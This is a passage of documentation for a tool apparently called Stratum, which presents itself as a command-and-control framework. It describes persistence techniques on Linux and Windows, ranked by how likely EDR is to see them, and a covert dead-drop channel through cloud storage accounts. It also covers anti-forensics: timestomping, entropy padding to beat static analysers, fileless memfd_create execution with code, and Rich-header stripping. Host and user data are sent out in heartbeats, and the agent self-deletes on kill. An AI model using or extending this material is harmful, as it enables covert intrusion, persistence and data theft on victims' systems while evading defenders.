─── /persist probe · Full Sequence ──────────────────────────────────────── OPERATOR SERVER AGENT (target) │ │ │ │ /persist probe │ │ │──────────────────────►│ │ │ │ encrypt cmd: │ │ │ PERSIST_PROBE │ │ │──── input.txt ──────────►│ │ │ │ │ │ ┌────────────────▼─────────────────┐ │ │ │ For each technique: │ │ │ │ │ │ │ │ schtask-logon? │ │ │ │ check: schtasks.exe exists │ │ │ │ check: user can CreateTask │ │ │ │ → AVAILABLE │ │ │ │ │ │ │ │ registry-run? │ │ │ │ OpenKey(HKCU\...\Run, WRITE) │ │ │ │ → AVAILABLE │ │ │ │ │ │ │ │ startup-folder? │ │ │ │ check %APPDATA%\Startup writable│ │ │ │ → AVAILABLE │ │ │ │ │ │ │ │ schtask-boot? │ │ │ │ check: IsUserAdmin() │ │ │ │ → UNAVAILABLE (not admin) │ │ │ │ │ │ │ │ wmi-event? │ │ │ │ check: SeSecurityPrivilege │ │ │ │ → UNAVAILABLE │ │ │ │ │ │ │ │ Build PERSIST_STATUS JSON: │ │ │ │ { │ │ │ │ "schtask-logon": "available", │ │ │ │ "registry-run": "available", │ │ │ │ "startup-folder":"available", │ │ │ │ "schtask-boot": "denied", │ │ │ │ "wmi-event": "denied" │ │ │ │ } │ │ │ │ Encrypt + upload output.txt │ │ │ └──────────────────────────────────┘ │ │◄──── output.txt ────────────────────────── │ │ RSA decrypt → AES decrypt │ │ │ Parse JSON → update session state │ │ │ │ │ WebGUI renders probe results │ │◄──────────────────────│ │ ┌──▼────────────────────────────────────────────────────────────────┐ │ Persist tab shows: │ │ ● schtask-logon [AVAILABLE] [Install] │ │ ● registry-run [AVAILABLE] [Install] │ │ ● startup-folder [AVAILABLE] [Install] │ │ ○ schtask-boot [DENIED] (admin required) │ │ ○ wmi-event [DENIED] (elevated admin required) │ └────────────────────────────────────────────────────────────────────┘

5.2 Linux Persistence Techniques

cron-reboot
user-priv @reboot
Adds @reboot entry to the current user's crontab. Survives reboots, requires no root. Visible in crontab -l.
systemd-user
user-priv logon
Installs a user-level systemd service unit at ~/.config/systemd/user/. Starts on user login with --user scope. Restarts on failure.
systemd-system
root boot
Installs a system-level service unit at /etc/systemd/system/. Starts at boot as root. Most reliable Linux technique at elevated privilege.
rc-local
root boot
Appends entry to /etc/rc.local. Works on systems without systemd. Probe checks if rc-local is enabled and executable.
cron-system
root periodic
Drops a cron job file at /etc/cron.d/. Executed by the system cron daemon. Probe checks for write permission to /etc/cron.d/.
─── Linux Persistence Technique Reference ───────────────────────────────── Technique Priv Survives EDR Artifact Location Verify ───────────────────────────────────────────────────────────────────────────────────────── cron-reboot user Reboot Low ~/.crontab (in-memory only) crontab -l (no file @reboot /path/to/agent & dropped) systemd-user user Logon Medium ~/.config/systemd/user/ systemctl --user (unit file {service}.service status {svc} on disk) [Unit] + [Service] sections systemd-system root Boot Medium-Hi /etc/systemd/system/ systemctl status (unit file {service}.service {svc} in /etc) StartLimitIntervalSec=0 rc-local root Boot Low /etc/rc.local append cat /etc/rc.local (rc.local /path/to/agent & not widely (probe checks executable bit) monitored) cron-system root Periodic Low /etc/cron.d/{name} ls /etc/cron.d/ (file in * * * * * root /path/to/agent cron.d) (or @reboot entry) Probe checks are non-destructive (no writes): cron-reboot → runs crontab -l, checks exit code systemd-user → checks systemctl --user is available + directory writable systemd-system→ checks /etc/systemd/system/ writable (requires root) rc-local → checks /etc/rc.local exists + executable cron-system → checks /etc/cron.d/ writable (requires root)

5.3 Windows Persistence Techniques

schtask-logon
user-priv logon
Creates a scheduled task triggered at user logon. Copies agent binary to %APPDATA%\Local\. Task name mimics system utilities.
registry-run
user-priv logon
Writes to HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. One of the most common persistence locations; well-logged by EDRs.
startup-folder
user-priv logon
Drops a .lnk or script in %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\. Executed at user logon by Explorer.
schtask-boot
admin boot
Creates a scheduled task triggered at system boot (not user logon). Runs as SYSTEM. Survives user logoff.
registry-run-hklm
admin logon
Writes to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Affects all users. Requires admin token.
wmi-event
admin boot
Creates a WMI EventFilter + EventConsumer subscription on EventCode 6005 (system start). Harder to enumerate than registry keys or scheduled tasks.
service
admin boot
Installs a Windows service via the Service Control Manager. Starts at boot automatically. Service name and binary path are configurable at install time.
─── Windows Persistence Technique Reference ─────────────────────────────── Technique Priv Trigger EDR Visibility Artifact / Verify ───────────────────────────────────────────────────────────────────────────── schtask-logon user Logon Medium schtasks.exe /Create (logged by Task name mimics sysutils TaskSched) Binary in %APPDATA%\Local\ Verify: schtasks /query /fo LIST registry-run user Logon High HKCU\SOFTWARE\Microsoft\ (well-known Windows\CurrentVersion\Run key; most EDR Key: {agent_name} = {path} alert on write) Verify: reg query HKCU\...\Run startup-folder user Logon Medium %APPDATA%\Roaming\Microsoft\ (Explorer Windows\Start Menu\Programs\ executes files) Startup\{name}.lnk or .ps1 Verify: dir %APPDATA%\Startup schtask-boot admin Boot High Runs as SYSTEM; requires (system boot elevated token to create task is noisy) Verify: schtasks /query registry-run-hklm admin Logon High HKLM\SOFTWARE\Microsoft\ (system-wide Windows\CurrentVersion\Run Run key) Affects ALL users on system Verify: reg query HKLM\...\Run wmi-event admin+ Boot Low-Med WMI EventFilter + Consumer (WMI subs are EventCode=6005 (system start) rarely audited) Harder to enumerate than reg Verify: Get-WMIObject -NS root/sub service admin Boot High SCM service registration (SCM events Binary: configurable path logged to Service name: mimics sysutils System log) Verify: sc query {svcname} EDR Detection likelihood: High = almost always flagged; Medium = depends on EDR config; Low = often missed Admin = local admin token; Admin+ = local admin + SeSecurityPrivilege

5.4 Technique Lifecycle

Operator: /persist probe │ Agent receives PERSIST_PROBE Agent checks each technique non-destructively: ✓ schtask-logon — schtasks.exe exists, user can create tasks ✓ registry-run — HKCU\Run is writable ✓ startup-folder — %APPDATA%\Startup exists and is writable ✗ schtask-boot — requires SYSTEM/admin token (not available) ✗ wmi-event — requires admin token (not available) Agent writes PERSIST_STATUS response to output.txt Server decrypts, WebGUI shows probe results │ Operator: /persist install schtask-logon │ Agent receives PERSIST_INSTALL:schtask-logon Agent copies binary to %APPDATA%\Local\Microsoft\SystemUpdateHelper\ Agent creates scheduled task "Microsoft\SystemUpdateHelper" Agent writes artifact record to session history (path + SHA-256) Agent writes PERSIST_STATUS:schtask-logon:installed to output.txt │ Operator: /persist status (full report) │ Agent walks all installed techniques, verifies each is still active Reports technique ID, status, and artifact paths │ Operator: /persist remove schtask-logon (or /kill for all) │ Agent deletes scheduled task Agent deletes binary from disk Agent timestomps affected directories Agent writes removed artifact to session history

5.5 Wire Protocol Reference

The table below maps user-facing commands to their JSON task_type wire values. All persistence tasks are dispatched as JSON envelopes (see §2.3); the human-readable names below are server-side mnemonics, not wire strings.

User commandWire task_typeDescription
/persist probepersist_probeProbe all techniques. Returns feasibility per technique.
/persist probe <id,id>persist_probe + technique argProbe specific technique IDs only.
/persist install <id>persist_install + technique argInstall single technique by ID.
/persist remove <id>persist_remove + technique argRemove single installed technique.
/persist statuspersist_statusFull report of all installed techniques and their current state.
/persist status <id>persist_status + technique argStatus of one specific technique.
/persist (bare shorthand)persist_action + action argShorthand dispatch: maps install/remove/check to schtask-logon. Script agents only — not sent to Rust agent.

6Transport Layer

6.1 Dead-Drop File Protocol

Every Stratum session maps to a private folder in a cloud provider account. The folder contains a small set of files that act as the communication channel. The agent polls on a configurable interval; the server-side heartbeat monitor reads on a matching interval.

{folder_path}/ input.txt ← operator writes encrypted command here agent reads and deletes atomically output.txt ← agent writes encrypted response here server reads and deletes atomically heartbeat.txt ← agent writes periodic status (OS, IP, PID, state) server reads; agent re-writes each beacon cycle stage2.enc ← encrypted stage-2 payload (staged-enc mode only) decryption key = stub_secret (baked in binary, not in cloud) deleted by server on first heartbeat staging/ in/ ← operator → agent uploads (agent polls for new files) out/ ← agent → operator exfil (server-side download)
─── Cloud Folder Layout · All Three Deploy Modes ────────────────────────── STAGED-ENC MODE (cloud folder at deploy time) encrypted? {folder_path}/ ├── input.txt Command from operator Yes (RSA+AES) ├── output.txt Response from agent Yes (RSA+AES) ├── heartbeat.txt Agent status (active/idle) Plaintext (key=value) ├── stage2.enc Stage-2 payload (bash or PS1) AES-256-GCM (SGCM: prefix) │ key = stub_secret baked in binary ← deleted by server on first HB └── staging/ ├── in/ Operator → agent file uploads Varies (raw or encrypted) └── out/ Agent → operator file exfil Raw bytes (dl channel) After first heartbeat: stage2.enc is deleted by server. Cloud has only channel files. Decryption key (stub_secret) was never in cloud — baked into binary at build time. STAGELESS-ENC MODE (cloud folder at deploy time) encrypted? {folder_path}/ ├── input.txt Command from operator Yes (RSA+AES) ├── output.txt Response from agent Yes (RSA+AES) ├── heartbeat.txt Agent status Plaintext └── staging/ File transfer channel (same as above) No stage-2 in cloud. Config blob baked into binary (encrypted). Key baked into binary. Cloud folder contains only channel files from the moment of first connection. STAGELESS-PLAIN MODE (cloud folder at deploy time) encrypted? {folder_path}/ ├── input.txt Command from operator Yes (RSA+AES) ├── output.txt Response from agent Yes (RSA+AES) ├── heartbeat.txt Agent status Plaintext └── staging/ File transfer channel No stage-2, no encryption at rest. Agent runs entirely from its embedded plaintext config. C2 traffic still encrypted (RSA+AES). Only the config on disk is plaintext. File lifecycle (all modes): input.txt → written by server, read+DELETED by agent (no replay) output.txt → written by agent, read+DELETED by server (no replay) heartbeat.txt → overwritten each beacon cycle (last write wins)

The read+delete pattern for input/output ensures no replay: once the agent reads a command, the cloud slot is empty. A network failure during execution leaves the slot empty and the command is not re-executed on the next poll cycle. The operator must re-issue commands that fail to produce a response within the timeout.

6.2 Transport Interface Contract

Every cloud provider in Stratum implements a three-method abstract interface. This is the entire surface area a new provider must implement:

class BaseTransport(ABC):
    def upload(self, path: str, data: bytes) -> bool: ...
    # Write `data` to cloud path `path`. Return True on success.

    def download(self, path: str) -> Optional[bytes]: ...
    # Return bytes at cloud path, or None if not found / error.

    def delete(self, path: str) -> bool: ...
    # Delete cloud path. Return True on success.

The transport layer in agent scripts follows the same contract: _upload(), _download(), and internally _token_refresh() for OAuth2-based providers. Token expiry handling (retry on 401/expired token) is the responsibility of the transport layer, not the C2 core.

6.3 Heartbeat Wire Format

heartbeat.txt — v2 binary envelope (epoch-encrypted)
# The heartbeat is encrypted using the same v2 wire format as responses:
#   [0x02][epoch:4][agent_eph_pub:32][counter:8][chain_tag:32][GCM payload]
#
# The GCM payload, after decryption with epoch_key, contains a pipe-delimited string:

1724595262|DESKTOP-K8PX2|corp\jdoe|192.168.14.105|Windows 10 Pro 22H2 x64|user|C:\Users\jdoe|/tmp|185.23.104.88|6412|powershell.exe|corp.acme.com|C:\ProgramData\.cache|1|42|1724595322

The heartbeat uses the same v2 epoch-encrypted wire format as command responses (see §2.3). The heartbeat plaintext is a pipe-delimited string, encrypted with the current epoch_key and authenticated by the KDF chain (chain_tag + counter). The server decrypts the heartbeat using the shared epoch state and verifies the chain tag for anti-replay. On the first heartbeat (Epoch 0 bootstrap), the server iterates its pre-key private keys to find the matching DH and derive the initial epoch state.

External IP detection via STUN is mandatory — the STUN probe always runs at startup and the result populates ip_ext in every heartbeat. This happens once at startup and is cached for the session lifetime. If STUN fails, the agent does not fall back silently — the field is set to "unknown" and the startup error is logged, ensuring operators are never given a false sense of external IP knowledge.

─── Heartbeat Wire Format · Field Reference ─────────────────────────────── Pipe-delimited string (plaintext inside v2 GCM envelope): {ts}|{host}|{user}|{ip}|{os}|{privs}|{start_cwd}|{op_cwd}|{ip_ext}|{pid}|{process}|{domain}|{blob}|{blob_tried}|{seq}|{next_hb_at} Field Pos Type Example Description ──────────────────────────────────────────────────────────────────────────── ts 0 unix 1724595262 UTC Unix timestamp hostname 1 string DESKTOP-K8PX2 os.hostname() user 2 string corp\jdoe whoami ip 3 string 192.168.14.105 first non-loopback internal IP os 4 string Windows 10 Pro 22H2 x64 platform + release + arch privs 5 enum user / root / admin id -u==0 / IsUserAnAdmin() start_cwd 6 string C:\Users\jdoe agent startup CWD op_cwd 7 string /tmp operator-set working dir ip_ext 8 string 185.23.104.88 NAT-translated IP via STUN pid 9 int 6412 os.getpid() process 10 string powershell.exe /proc/self/comm domain 11 string corp.acme.com DNS domain blob_path 12 string C:\ProgramData\.cache hw-keyed ddb path blob_tried 13 bool 1 1 if ddb was attempted seq 14 int 42 monotonic heartbeat counter next_hb_at 15 unix 1724595322 predicted next heartbeat time Written to {folder}/heartbeat.txt every beacon cycle. Fully encrypted via v2 Epoch ECDH — epoch_key wraps AES, chain_tag authenticates. Server polls heartbeat.txt and decrypts with shared epoch state. Server updates session state from each heartbeat: status, last_seen, all fields above. STUN resolution (mandatory): Agent makes a STUN binding request to a public server at startup. External IP cached for session lifetime — not re-queried every heartbeat. If STUN fails: ip_ext field is set to "unknown" — probe failure is logged. STUN is non-negotiable — it cannot be disabled per-deployment.

6.4 Provider Registry

All providers self-register in TRANSPORT_REGISTRY as an import side-effect. providers/all.py imports all provider wizards, which triggers the registration. The server imports providers/all.py before loading sessions, ensuring all transports are available for session restoration.

# providers/dropbox/wizard.py — at module level:
TRANSPORT_REGISTRY["dropbox"] = DropboxTransport

# providers/all.py — imports trigger all registrations:
from providers.dropbox.wizard     import DropboxWizard
from providers.onedrive.wizard    import OneDriveWizard
# ... etc — TRANSPORT_REGISTRY now has all 5 providers

# server/main.py — before session load:
import providers.all  # ← populates TRANSPORT_REGISTRY
manager.load_all()    # ← can now construct transports for loaded sessions

6.5 Adding a Provider

Adding a new cloud provider requires implementing the three-method transport interface plus a deployment wizard. The complete implementation follows a fixed pattern — use providers/dropbox/ as the reference:

  1. Create providers/{name}/ with __init__.py, wizard.py, and transport/
  2. Implement XxxTransport(BaseTransport) — three methods: upload, download, delete; handle token refresh internally
  3. Implement XxxConfig(BaseConfig) — provider-specific credential fields (app_key, refresh_token, etc.)
  4. Implement XxxWizard(ProviderWizard) — set PROVIDER_ID, PROVIDER_NAME, TRANSPORT_DIR; implement make_config(), step_auth(), step_init_channel(); override _native_agent_extra_env() to inject STRATUM_APP_KEY etc. for the Rust build
  5. Register: add TRANSPORT_REGISTRY["{name}"] = XxxTransport at module level, and add to providers/all.py

The Rust agent handles all transport internally. Provider-specific credentials are injected via STRATUM_* env vars at compile time through _native_agent_extra_env(). No script templates are needed.

7OPSEC & Anti-Forensics

7.1 Artifact Tracking

Every file dropped on a target by Stratum is tracked by SHA-256 hash in the session history. This includes persistence binaries, configuration stubs, and any file written as part of a persistence technique installation. The artifact log is stored server-side in the session history CSV.

When /kill is issued, the agent receives a KILL command that triggers the full cleanup sequence: remove all installed persistence techniques, delete all tracked artifacts in reverse installation order, wipe sensitive variables from memory, and exit cleanly. The operator can also view the artifact list at any time via /artifacts.

Cloud-Side Artifact Rollback

During deployment, the wizard tracks every sensitive object uploaded to cloud storage (staged-enc: the encrypted stage-2 payload). If the wizard fails at any point after uploads have begun — network error, key generation failure, operator cancellation — Stratum automatically deletes the already-uploaded objects from the cloud provider before exiting.

This prevents orphaned encrypted payloads from remaining in the cloud folder if the deployment did not complete. Channel files (input.txt, output.txt, heartbeat.txt) are intentionally excluded from rollback: they contain no secret material and are safe to leave in place. The stub_secret is never uploaded to cloud and therefore never needs rollback.

What gets rolled back
Encrypted stage-2 payload (stage2.enc, staged-enc mode only). Not rolled back: channel files, session metadata already written to disk. stub_secret is compiled into the binary and never in cloud — no rollback needed.

7.2 Timestomping

Any file written to disk by the agent (persistence binary copy, config file, etc.) has its modification timestamp set to a value within ±30 minutes of the most recently modified system file in the target directory. This disrupts timeline-based forensic analysis, which correlates file creation/modification times to narrow the window of compromise.

Timestomping is applied automatically on every artifact write, not as an optional step. It uses native OS APIs (touch on Linux, SetFileTime on Windows) rather than shell utilities that might be logged.

7.3 Entropy Balancing

Shannon entropy is a primary signal in static analysis tools. A script file or PE section with entropy above ~6.5 b/B is classified as packed or encrypted content — an immediate red flag even without behavioral analysis. Stratum actively engineers the entropy of its artifacts at deploy time.

The wizard measures entropy after generating each script, then appends natural-language padding (facility documentation text, ~4.4 b/B entropy) in 8 KB blocks until H ≤ 5.0 b/B. The padding text is chosen to resemble legitimate system utility strings — the kind of verbose help text that any real system tool might include in its binary. Under static analysis, the file appears to be a normal utility with embedded documentation, not a packed payload.

Before padding: agent.sh H = 5.82 b/B ⚠ above target After padding: agent.sh H = 4.93 b/B ✓ within target DIE threshold: 6.5 b/B (flags as packed/encrypted) Manalyze threshold: 7.0 b/B (per-section anomaly) Stratum target: ≤ 5.0 b/B (comfortable margin)
─── Entropy Balancing · Before and After Padding ────────────────────────── BEFORE PADDING — raw agent.sh (dense crypto strings) Byte value distribution (64 buckets): 0x00-0x0F ▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x10-0x1F ▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x20-0x2F ██████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x30-0x3F ████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x40-0x4F ████████████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x50-0x5F ██████████████████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x60-0x6F ████████████████████████████████████████████████░░░░░░░░░░░░░░░░ 0x70-0x7F ████████████████████████████████████████████████████████░░░░░░░░ 0x80-0xFF ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ Shannon H = 5.82 b/B ← above 5.0 b/B target AFTER PADDING — agent.sh + natural-language padding (~128 KB appended) Byte value distribution (64 buckets): 0x00-0x0F ▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x10-0x1F ▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x20-0x2F ████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x30-0x3F ████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x40-0x4F ████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x50-0x5F ████████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x60-0x6F ████████████████████████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0x70-0x7F █████████████████████████████████████████░░░░░░░░░░░░░░░░░░░░░░ 0x80-0xFF ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ Shannon H = 4.93 b/B ← within 5.0 b/B target Thresholds: ────────────────────────────────────────────────────────────────────── 4.4 b/B ← natural language text (padding material) 5.0 b/B ← Stratum target (comfortable margin) 5.5 b/B ← some AV heuristic threshold 6.5 b/B ← Detect It Easy (DIE) "packed/encrypted" flag 7.0 b/B ← Manalyze / pefile per-section anomaly alert 8.0 b/B ← theoretical maximum (perfectly random data)

For native Rust artifacts, a 128 KB static entropy pad is compiled into the .rodata section via a #[link_section = ".rodata"] static _PAD: [u8; 131072] declaration. This dilutes the entropy of adjacent high-entropy bytes (the embedded script payload) in the binary's read-only data section.

7.4 Fileless Execution (Linux ELF Loader)

The Linux ELF loader (agents/native/linux/) uses memfd_create to achieve fully fileless script execution. The embedded agent script is written to an anonymous memory file descriptor — an in-kernel file that has no path in any filesystem:

// SYS_memfd_create = 319 on x86_64 Linux (kernel 3.17+)
fd = syscall(SYS_memfd_create, ".", 0);
write(fd, SCRIPT, sizeof(SCRIPT));
execve("/bin/bash", {"/proc/self/fd/N"}, env);
// fd stays open; child inherits it; script never touches disk

The process appears in ps as bash /proc/self/fd/5 (or similar). ls /proc/PID/fd/5 shows an anonymous file with no real path. /proc/PID/maps will show a memfd:. mapping. This execution technique is supported on Linux kernel 3.17+ (released 2014); the loader falls back to /dev/shm → /tmp with immediate unlink after spawn on older kernels.

─── Linux ELF Loader · memfd_create Fileless Execution Path ─────────────── ELF loader binary executed on target │ │ (contains embedded bash agent via include_bytes!) │ ┌─────▼───────────────────────────────────────────────────────────────┐ │ 1. Check kernel version ≥ 3.17 (memfd_create added) │ │ syscall(SYS_uname, &buf) → parse kernel version string │ └─────┬───────────────────────────────────────────────────────────────┘ │ ┌─────▼──────────────────────────────────────────────────────────────────┐ │ PATH A — kernel ≥ 3.17: FULLY FILELESS │ │ │ │ 2. fd = syscall(SYS_memfd_create, ".", 0) │ │ creates an anonymous in-kernel file descriptor │ │ NOT visible as a path in any filesystem │ │ visible only as /proc/self/fd/N (symlink to memfd:.) │ │ │ │ 3. write(fd, AGENT_SCRIPT_BYTES, sizeof(AGENT_SCRIPT_BYTES)) │ │ script bytes written to kernel memory — never touch disk │ │ │ │ 4. execve("/bin/bash", │ │ ["/proc/self/fd/N"], ← path is to the memfd │ │ envp) │ │ child bash process reads script from kernel fd │ │ fd stays open; child inherits it │ │ script content: never on any filesystem path │ │ │ │ What appears in forensics: │ │ ps aux → bash /proc/self/fd/5 (not a real path) │ │ ls /proc/PID/fd/5 → memfd:. (anonymous, no real path) │ │ /proc/PID/maps → memfd:. mapping (anonymous) │ │ No file in /tmp, /dev/shm, or anywhere on disk │ └─────┬──────────────────────────────────────────────────────────────────┘ │ │ fallback if memfd unavailable: │ ┌─────▼──────────────────────────────────────────────────────────────────┐ │ PATH B — /dev/shm (kernel < 3.17 or memfd failed) │ │ │ │ 5. write to /dev/shm/.{pid} (tmpfs, RAM-backed, not swapped) │ │ 6. chmod 700 → execve │ │ 7. unlink immediately after execve → file gone from namespace │ │ still open via fd in child process │ └─────┬──────────────────────────────────────────────────────────────────┘ │ │ fallback if /dev/shm unavailable: │ ┌─────▼──────────────────────────────────────────────────────────────────┐ │ PATH C — /tmp (last resort) │ │ │ │ 8. write to /tmp/.{pid} │ │ 9. chmod 700 → execve │ │ 10. unlink immediately after execve │ │ file is unlinked but still open by child process │ │ ls /tmp/.{pid} → No such file (but fd still valid) │ └────────────────────────────────────────────────────────────────────────┘

7.5 MSVC-ABI PE vs MinGW & Rich Header Removal

The default Rust cross-compilation target for Windows from Linux is x86_64-pc-windows-gnu (MinGW). MinGW-compiled PE files carry characteristic imports: libgcc_s_seh-1.dll, libwinpthread-1.dll, and GCC-specific runtime functions. This is a known fingerprint used by EDRs and forensic tools to identify non-commercial software.

Stratum uses the MSVC target (x86_64-pc-windows-msvc) via clang-cl + lld-link + Microsoft's SDK headers (sourced through xwin). The resulting PE import table contains only standard Windows DLLs: kernel32.dll, ntdll.dll, ws2_32.dll, advapi32.dll. This profile is indistinguishable from a Visual Studio–compiled utility.

Rich Header Removal

Linkers embed a Rich header between the DOS stub and the PE signature. This 16–256 byte structure encodes which Microsoft build tools and compiler versions produced the binary — a fingerprint that allows analysts and EDRs to distinguish tool families and detect anomalies (e.g. a PE claiming to be compiled with MSVC but actually produced by a different toolchain).

The Stratum deploy wizard automatically patches the Rich header out of every EXE and DLL artifact after compilation. The patcher scans backward from the PE signature for the Rich marker, then zeroes all bytes from DanS through Rich+8 inclusive. This is done in-place with no linker flags, so the patched binary retains valid PE structure while presenting no toolchain lineage to forensic tools.

─── Rich Header Patch Sequence ───────────────────────────────────────────── Cargo build → agent.exe (Rich header present, encodes clang-cl version) Wizard: _strip_rich_header(pe_path): 1. Scan backward from PE signature for b'Rich' marker 2. Locate b'DanS' marker (start of Rich header block) 3. Zero all bytes from DanS through Rich+8 (checksum zeroed too) 4. Write patched bytes back to file in-place Result: agent.exe (Rich header zeroed — no toolchain lineage visible) Forensic tools (ExeInfoPE, Detect-It-Easy, PE-bear) now see no Rich header. PE structure is valid; all sections, imports, and entry point are intact.

MinGW PE imports (typical)

  • libgcc_s_seh-1.dll
  • libwinpthread-1.dll
  • msvcrt.dll
  • __gxx_personality_seh0

Identified by RIFT, DiE, ExeInfoPE as GCC/MinGW compiled

MSVC-ABI PE imports (Stratum)

  • kernel32.dll
  • ntdll.dll
  • ws2_32.dll
  • advapi32.dll

Identical to Visual Studio output — no toolchain fingerprint

7.6 Network OPSEC

All Stratum network traffic originates from the target host to well-known cloud provider API endpoints over HTTPS. There are no custom domains, no novel TLS certificates, and no unusual destination ports. The traffic profile:

ProviderDestinationProtocolPort
Dropboxapi.dropboxapi.com, content.dropboxapi.comHTTPS443
OneDrivegraph.microsoft.comHTTPS443
Google Drivewww.googleapis.comHTTPS443
SharePoint{tenant}.sharepoint.comHTTPS443
S3s3.amazonaws.com (or custom)HTTPS443

From a network detection perspective, blocking any of these destinations would disable core productivity services for the organization — a disruptive and unlikely defensive response. Traffic volume is also minimal: one HTTP request per beacon interval (typically 1–5 KB), with responses of similar size.

Jitter — log-normal distribution
The beacon interval includes a configurable jitter percentage (1–50%). Intervals are drawn from a log-normal distribution (μ and σ derived from the base sleep and jitter percentage) rather than a uniform random range. Log-normal is the natural distribution for human dwell times and system sleep durations — it produces occasional long intervals that are indistinguishable from legitimate application polling. A 60s interval with 20% jitter results in a median around 60s with occasional longer outliers, making timing analysis significantly harder than a simple min/max uniform range.

User-Agent Rotation

All agent HTTP requests use a randomly selected User-Agent string from a pool baked in at deploy time (providers/_wizard.py:_UA_POOL). The pool is updated periodically to stay within the current browser version distribution — stale UA versions (more than two major releases behind) are a reliable fingerprint for proxies that perform UA analytics (Zscaler, Palo Alto Cortex). The selected UA is fixed per-deployment, not rotated per-request, so the agent presents a consistent browser identity to the cloud provider.

UA pool requires periodic maintenance
Browser major versions advance every 4–6 weeks. Update _UA_POOL in providers/_wizard.py every 3–6 months to keep agents within the current distribution. The comment in the source marks the last update date.

MIME Boundary Randomisation (Google Drive)

The native Rust agent's Google Drive transport generates the multipart/related MIME boundary at runtime from 8 random bytes (format!("b{}", hex::encode(rand_bytes))). A static boundary string is a trivial network signature — randomising it at each upload ensures each multipart request is structurally unique.

External IP Detection (STUN)

The bash agent detects the target's external IP using a layered fallback chain. The preferred method is a direct STUN query (RFC 5389, UDP port 19302) — this works through NAT, bypasses DNS-based filtering, and requires no outbound TCP connectivity beyond the standard STUN infrastructure. Fallbacks include Google's DNS TXT record (o-o.myaddr.l.google.com @8.8.8.8) and Cloudflare's WhoAmI service.

VPN / Split-Tunnel Caveat
If the target is behind a VPN with full-tunnel routing, STUN, DNS fallbacks, and curl-based IP services will all reflect the VPN exit node's IP — not the target's true physical location. The reported external IP in the session panel is the IP as seen from the public internet at query time. This is expected behaviour and does not affect C2 functionality.

7.7 KILL — Artifact Wipe & Self-Delete

The kill command triggers a full cleanup sequence on the beacon before it terminates. The sequence is deterministic and non-interactive: the beacon completes it autonomously after receiving the task, then exits. The server waits agent_sleep + 5 seconds after uploading the KILL task before wiping the cloud folder, giving the beacon time to poll and receive it.

Cleanup sequence (all agent types)

  1. Blob wipe — the encrypted stage-2 / payload blob on disk is overwritten with cryptographically random bytes and then deleted.
  2. Persistence removal — all installed persistence techniques are torn down (cron entries, systemd units, rc.local entries, scheduled tasks, registry Run keys, WMI subscriptions, startup folder entries). The _PERSIST_DIR directory and its contents are removed recursively.
  3. Self-delete — the beacon script / binary deletes itself and any associated launcher. Mechanism varies by agent type (see table below).
  4. Channel clear — writes MZ sentinel to the input file to prevent the server from re-delivering the KILL task on the next poll cycle.
  5. Process exit — the beacon process terminates cleanly.

Self-delete mechanisms by agent type

AgentPlatformMechanismTiming
Rust ELFLinux std::fs::remove_file(current_exe()) — unlink while running is legal on POSIX Immediate (pre-exit)
Rust PEWindows Attempt remove_file(current_exe()); on lock failure: MoveFileExW(DELAY_UNTIL_REBOOT) env::var("_STUB_PATH").with_extension("vbs") — deleted pre-exit if present EXE: immediate or next reboot; .vbs: immediate
Rust PE — EXE locked until reboot
On Windows, a running process holds an open kernel handle on its own EXE image. DeleteFile fails with ERROR_SHARING_VIOLATION while the process is alive. The MoveFileExW(MOVEFILE_DELAY_UNTIL_REBOOT, 0x4) fallback schedules the file for deletion when the OS next boots — the binary is orphaned (persist is already gone) and will never re-execute. This is the only reliable mechanism available without a separate helper process.

VBS launcher deletion (Windows) — removed in v3.0.1

VBS launchers are no longer generated. The Rust PE agent handles its own self-deletion. No PS1 or VBS artifacts exist in the deploy output.

Persist directory removal

All Linux agent techniques call rm -rf "$_PERSIST_DIR" after removing the payload file. Earlier versions used rmdir (non-recursive), which silently failed if the directory contained any extra files (e.g., from a blobsave command or operator-placed artifacts). The recursive form is used unconditionally — _PERSIST_DIR is always a wizard-generated subdirectory under $HOME/.local/share/ and is safe to remove in full.

II

User Guide

Installation · Configuration · Deploy wizard · WebGUI · Command reference · Advanced topics

1Installation

1.1 Requirements

ComponentVersionRequired
Python3.10+Yes — server runtime
pip packagessee requirements.txtYes — FastAPI, cryptography, uvicorn, PyYAML
Rust + Cargostable 1.70+Yes — native agent compilation (ELF, PE, shellcode)
clang + lld + llvmclang 14+Yes — Windows MSVC-ABI cross-compilation
xwin Windows SDK0.6.5+Yes — Windows PE/DLL/shellcode targets (~1.5 GB)
OpenSSL3.xYes — TLS cert generation and agent crypto
install.sh handles everything
Running ./install.sh --server installs all of the above interactively — Python deps, rustup, Rust targets, clang/lld/llvm via apt, and the xwin Windows SDK. Each heavy step (rustup, xwin) asks for confirmation before proceeding.

1.2 Quick Install

Recommended — automated installer
git clone https://github.com/your-org/stratum-c2.git
cd stratum-c2

# Install Python deps + generate TLS cert + set permissions
